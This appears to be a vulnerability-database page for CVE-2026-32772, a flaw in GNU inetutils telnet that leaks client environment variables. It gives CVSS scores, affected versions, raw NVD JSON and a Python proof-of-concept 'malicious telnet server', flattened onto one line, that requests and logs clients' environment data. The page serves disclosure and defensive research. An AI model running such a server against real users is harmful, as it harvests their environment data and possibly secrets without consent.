Security Vulnerability Report
中文
CVE-2026-32772 CVSS 3.4 LOW

CVE-2026-32772

Published: 2026-03-16 14:19:44
Last Modified: 2026-05-05 17:55:24

Description

telnet in GNU inetutils through 2.7 allows servers to read arbitrary environment variables from clients via NEW_ENVIRON SEND USERVAR.

CVSS Details

CVSS Score
3.4
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gnu:inetutils:*:*:*:*:*:*:*:* - VULNERABLE
GNU inetutils < 2.7
GNU inetutils telnet 任意版本 <= 2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-32772 PoC - Malicious Telnet Server This PoC demonstrates how a malicious telnet server can request and receive environment variables from connecting clients using NEW_ENVIRON SEND USERVAR. """ import socket import threading import time # Telnet protocol constants (RFC 857, RFC 1572) TELNET_IAC = bytes([255]) # Interpret As Command TELNET_DONT = bytes([254]) TELNET_DO = bytes([253]) TELNET_WONT = bytes([252]) TELNET_WILL = bytes([251]) TELNET_SB = bytes([250]) # Sub-negotiation Begin TELNET_SE = bytes([240]) # Sub-negotiation End # NEW_ENVIRON option (RFC 1572) NEW_ENVIRON = bytes([39]) SEND = bytes([1]) USERVAR = bytes([0]) IS = bytes([2]) VAR = bytes([0]) def handle_client(client_socket, addr): """Handle incoming telnet client connection""" print(f"[*] Connection from {addr}") try: # Step 1: Send DO NEW_ENVIRON to request environment variable exchange client_socket.send(TELNET_IAC + TELNET_DO + NEW_ENVIRON) time.sleep(0.5) # Step 2: Send sub-negotiation: NEW_ENVIRON SEND USERVAR # This requests the client to send all user environment variables sb_request = TELNET_IAC + TELNET_SB + NEW_ENVIRON + SEND + USERVAR + TELNET_IAC + TELNET_SE client_socket.send(sb_request) print("[*] Sent NEW_ENVIRON SEND USERVAR request") # Step 3: Receive and log environment variables from client client_socket.settimeout(10.0) try: while True: data = client_socket.recv(4096) if not data: break # Check if we received environment variables # Environment variables are sent as: IAC SB NEW_ENVIRON IS VAR value IAC SE if TELNET_IAC + TELNET_SB + NEW_ENVIRON + IS in data: print("[*] Received environment variables from client:") # Extract and log the sensitive data print(f"[+] Raw data: {data}") # Send a simple response client_socket.send(b"Welcome to malicious server.\r\n") except socket.timeout: print("[*] Timeout waiting for client response") except Exception as e: print(f"[!] Error: {e}") finally: client_socket.close() print(f"[*] Connection closed for {addr}") def start_malicious_server(host='0.0.0.0', port=23): """Start the malicious telnet server""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((host, port)) server.listen(5) print(f"[*] Malicious Telnet Server listening on {host}:{port}") print("[*] Waiting for connections...") try: while True: client_socket, addr = server.accept() client_handler = threading.Thread(target=handle_client, args=(client_socket, addr)) client_handler.start() except KeyboardInterrupt: print("\n[*] Shutting down server") finally: server.close() if __name__ == "__main__": start_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32772", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:44.023", "lastModified": "2026-05-05T17:55:23.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "telnet in GNU inetutils through 2.7 allows servers to read arbitrary environment variables from clients via NEW_ENVIRON SEND USERVAR."}, {"lang": "es", "value": "telnet en GNU inetutils a través de 2.7 permite a los servidores leer variables de entorno arbitrarias de los clientes a través de NEW_ENVIRON SEND USERVAR."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 3.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:inetutils:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7", "matchCriteriaId": "6381CFAE-9A10-40ED-BC93-1DB55CB44327"}]}]}], "references": [{"url": "https://www.openwall.com/lists/oss-security/2026/03/13/1", "source": "[email protected]", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/03/13/1", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}]}}